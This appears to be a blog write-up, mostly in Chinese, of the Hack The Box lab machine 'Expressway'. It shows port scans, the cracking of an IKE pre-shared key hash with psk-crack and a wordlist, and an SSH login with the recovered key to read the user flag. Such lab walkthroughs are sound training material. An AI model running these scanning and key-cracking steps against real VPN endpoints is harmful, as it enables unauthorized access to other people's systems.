Posted onEdited onWord count in article: 626Reading time ≈2 mins.
Hack The Box [Season9] Expressway Linux Easy
信息收集
tcp 扫描发现只开放了 22 端口
1 2 3
root@cloudcone ~/workspace# rustscan -a $IP Automatically increasing ulimit value to 1000. Open 10.10.11.87:22
尝试扫描 udp,可以看到 500 端口是开着的
1 2 3 4 5 6 7 8 9
root@cloudcone ~/workspace# nmap -sU -Pn $IP Nmap scan report for 10.10.11.87 Host is up (2.7s latency). Not shown: 996 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 69/udp open|filtered tftp 500/udp open isakmp 4500/udp open|filtered nat-t-ike
Ending ike-scan 1.9.5: 1 hosts scanned in 0.153 seconds (6.53 hosts/sec). 1 returned handshake; 0 returned notify root@cloudcone ~/workspace# psk-crack -d rockyou.txt hash.txt Starting psk-crack [ike-scan 1.9.5] (http://www.nta-monitor.com/tools/ike-scan/) Running in dictionary cracking mode key "freakingrockstarontheroad" matches SHA1 hash acf5072f0876729115ae3b2d42b1a27b2e84ef63 Ending psk-crack: 8045039 iterations in 16.306 seconds (493393.28 iterations/sec)
尝试使用 ssh 登录 ike:freakingrockstarontheroad 得到 user flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root@cloudcone ~/workspace [SIGINT]# ssh ike@$IP ike@10.10.11.87's password: Last login: Wed Sep 17 10:26:26 BST 2025 from 10.10.14.77 on ssh Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Sep 22 08:49:37 2025 from 10.10.16.17 ike@expressway:~$ cat user.txt 24db6a7ba04d31d042da08cfcebb1517